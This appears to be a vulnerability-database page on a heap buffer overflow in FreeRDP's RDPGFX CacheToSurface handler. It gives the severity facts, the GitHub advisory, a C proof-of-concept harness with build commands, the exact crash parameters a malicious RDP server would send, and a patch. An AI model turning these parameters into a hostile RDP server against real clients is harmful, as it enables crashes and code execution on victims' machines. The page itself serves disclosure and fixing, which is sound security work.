Read the docs

Heap-based buffer overflow in FreeRDP RDPGFX CacheToSurface

Priority MEDIUM 53CWE-122Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
Required
Attack complexity
Low
Impact type
Code execution
Confidentiality · integrity · availability
High · High · High
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-p6r2-4hgm-m6ff. Fix status from GitHub. Impact type from CWE-122 and the CVSS impact.

Summary

FreeRDP through 3.25.0 contains a heap-based buffer overflow in its RDPGFX handling. A malicious RDP server can send crafted RDPGFX PDUs that make gdi_CacheToSurface write past the end of a heap buffer, because the destination rectangle is checked with clamped edges while the copy uses the original cache entry size (CWE-122). An unauthenticated remote attacker who controls the server can trigger this when the client has RDPGFX enabled, which may crash the client or lead to code execution.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

### Summary A malicious RDP server can trigger a heap-buffer-overflow write in the FreeRDP client by sending crafted RDPGFX PDUs. The bug is in `gdi_CacheToSurface`: it validates a destination rectangle that is clamped to `UINT16_MAX`, but then performs the copy using the original `cacheEntry->width/height`. This can cause a large out-of-bounds heap write and may lead to client crashes or code execution. This bug is reachable from a malicious RDP server, but only when the client has RDPGFX enabled. The C PoC is just a local harness that calls the exact same FreeRDP handlers that are normally triggered by server-sent RDPGFX PDUs. ### Details In FreeRDP commit `23b36cd00ebf0ccd97750fcdbc9aa2f362352da7`: 1. `gdi_CreateSurface` aligns the surface dimensions up to 16. `surface->width = gfx_align_scanline(createSurface->width, 16)` and `surface->height = gfx_align_scanline(createSurface->height, 16)`. So a server-supplied `CreateSurface(width=65535,height=1)` results in an allocated surface of `65536x16` pixels. 2. `gdi_CacheToSurface` builds a `RECTANGLE_16` using clamped right/bottom edges. Because `rect.right` is clamped to `UINT16_MAX`, the rectangle validation can succeed even when the *actual* copy width/height would extend past the surface. Concrete crash parameters (**attacker-controlled** via standard RDPGFX messages): create a surface with `createSurface->width=65535`, `createSurface->height=1`, create a cache entry with `cacheEntry->width=65535`, `cacheEntry->height=1`, send `CacheToSurface` with `destPt={ x=65534, y=15 }`. ### PoC This reproducer does not require a live RDP server. It simulates the exact bounds check used by `gdi_CacheToSurface` and then calls `freerdp_image_copy_no_overlap` with the same parameters `gdi_CacheToSurface` would pass. Tested against FreeRDP commit `23b36cd00ebf0ccd97750fcdbc9aa2f362352da7` on Linux. 1) Build FreeRDP with ASAN/UBSAN (disable optional dependencies that are not needed for this PoC): ```bash git clone https://github.com/FreeRDP/FreeRDP.git /tmp/freerdp-src cd /tmp/freerdp-src git checkout 23b36cd00ebf0ccd97750fcdbc9aa2f362352da7 mkdir build-asan && cd build-asan cmake .. \ -DCMAKE_BUILD_TYPE=Debug \ -DCMAKE_C_FLAGS='-g -O1 -fno-omit-frame-pointer -fsanitize=address,undefined' \ -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \ -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined' \ -DWITH_FFMPEG=OFF -DWITH_SWSCALE=OFF -DWITH_FUSE=OFF \ -DWITH_SERVER=OFF -DWITH_SAMPLE=OFF -DWITH_SHADOW=OFF -DWITH_PROXY=OFF \ -DWITH_CLIENT_SDL=OFF -DWITH_WAYLAND=OFF -DCHANNEL_URBDRC=OFF -DBUILD_TESTING=OFF make -j"$(nproc)" ``` 2) Save this as `poc_505.c` (for example in `/tmp/poc_505.c`): ```c #include <freerdp/types.h> #include <freerdp/codec/color.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> static uint32_t gfx_align_scanline(uint32_t widthInBytes, uint32_t alignment) { const uint32_t align = alignment; const uint32_t pad = align - (widthInBytes % alignment); uint32_t scanline = widthInBytes; if (align != pad) scanline += pad; return scanline; } static BOOL is_rect_valid(const RECTANGLE_16* rect, size_t width, size_t height) { if (!rect) return FALSE; if ((rect->left > rect->right) || (rect->right > width)) return FALSE; if ((rect->top > rect->bottom) || (rect->bottom > height)) return FALSE; return TRUE; } int main(void) { const uint16_t destX = 65534; const uint16_t destY = 15; const uint32_t cacheWidth = 65535; const uint32_t cacheHeight = 1; const uint32_t surfaceWidth = gfx_align_scanline(65535, 16); /* 65536 */ const uint32_t surfaceHeight = gfx_align_scanline(1, 16); /* 16 */ const uint32_t surfaceScanline = gfx_align_scanline(surfaceWidth * 4U, 16); const size_t surfaceSize = (size_t)surfaceScanline * surfaceHeight; BYTE* surfaceData = (BYTE*)malloc(surfaceSize); if (!surfaceData) return 1; memset(surfaceData, 0x41, surfaceSize); const uint32_t cacheScanline = gfx_align_scanline(cacheWidth * 4U, 16); const size_t cacheSize = (size_t)cacheScanline * cacheHeight; BYTE* cacheData = (BYTE*)malloc(cacheSize); if (!cacheData) { free(surfaceData); return 1; } memset(cacheData, 0x42, cacheSize); const RECTANGLE_16 rect = { destX, destY, (UINT16)MIN(UINT16_MAX, (uint32_t)destX + cacheWidth), (UINT16)MIN(UINT16_MAX, (uint32_t)destY + cacheHeight) }; if (!is_rect_valid(&rect, surfaceWidth, surfaceHeight)) { fprintf(stderr, "rect unexpectedly invalid\n"); free(cacheData); free(surfaceData); return 1; } /* This mirrors the vulnerable call site in gdi_CacheToSurface. */ freerdp_image_copy_no_overlap(surfaceData, PIXEL_FORMAT_BGRA32, surfaceScanline, destX, destY, cacheWidth, cacheHeight, cacheData, PIXEL_FORMAT_BGRA32, cacheScanline, 0, 0, NULL, FREERDP_FLIP_NONE); free(cacheData); free(surfaceData); return 0; } ``` 3) Compile and run: ```bash cd /tmp/freerdp-src/build-asan gcc -g -O1 -fsanitize=address,undefined \ -I../include -I./include -I../winpr/include -I./winpr/include \ /tmp/poc_505.c \ -L./libfreerdp -L./winpr/libwinpr -lfreerdp3 -lwinpr3 \ -Wl,-rpath,./libfreerdp:./winpr/libwinpr -o /tmp/poc_505 ASAN_OPTIONS='detect_leaks=0:abort_on_error=1:halt_on_error=1:print_stacktrace=1' \ LD_LIBRARY_PATH=./libfreerdp:./winpr/libwinpr \ /tmp/poc_505 ``` Expected result: ASAN reports a `heap-buffer-overflow` with `WRITE of size 262140`. ### Suggested fix Add bounds checks based on the real (unclamped) copy dimensions before calling `freerdp_image_copy_no_overlap`. ```diff diff --git a/libfreerdp/gdi/gfx.c b/libfreerdp/gdi/gfx.c index feec35967..aaad7b349 100644 --- a/libfreerdp/gdi/gfx.c +++ b/libfreerdp/gdi/gfx.c @@ -1659,6 +1659,11 @@ static UINT gdi_CacheToSurface(RdpgfxClientContext* context, if (!is_rect_valid(&rect, surface->width, surface->height)) goto fail; + + if ((UINT32)destPt->x + cacheEntry->width > surface->width) + goto fail; + if ((UINT32)destPt->y + cacheEntry->height > surface->height) + goto fail; if (!freerdp_image_copy_no_overlap(surface->data, surface->format, surface->scanline, destPt->x, destPt->y, cacheEntry->width, cacheEntry->height, cacheEntry->data, cacheEntry->format, ``` ### Impact This is a heap-buffer-overflow write in the FreeRDP client and any user or application using FreeRDP (for example `xfreerdp`) connecting to an attacker-controlled RDP server that negotiates RDPGFX is impacted. At minimum an attacker get remote crash (DoS) of the FreeRDP client (which is not a high severity in that context), but and potentially code execution in the context of the client process, because the attacker controls a large out-of-bounds heap write (size and content come from server-controlled cached pixel data). A server can control the exact fields that lead into `gdi_CacheToSurface`, and the bug is on the real server->client message path. **Background of that issue** This bug was found as a part of an Anthropic research into the use of large language models for automated vulnerability discovery in open source software. Anthropic then engaged Trail of Bits to independently triage and validate those issues.

Why it matters now

Fix Fixed FreeRDP (c): 3.26.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.25.03.26.0Patch availableGHSA-p6r2-4hgm-m6ff
  • FreeRDP (c) Vendor— Affected <= 3.25.0 Fixed in 3.26.0 Patch available GHSA-p6r2-4hgm-m6ff

Remediation

Upgrade FreeRDP to version 3.26.0 or later.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-p6r2-4hgm-m6ff FreeRDP (c) Fixed in 3.26.0 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-p6r2-4hgm-m6ff

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences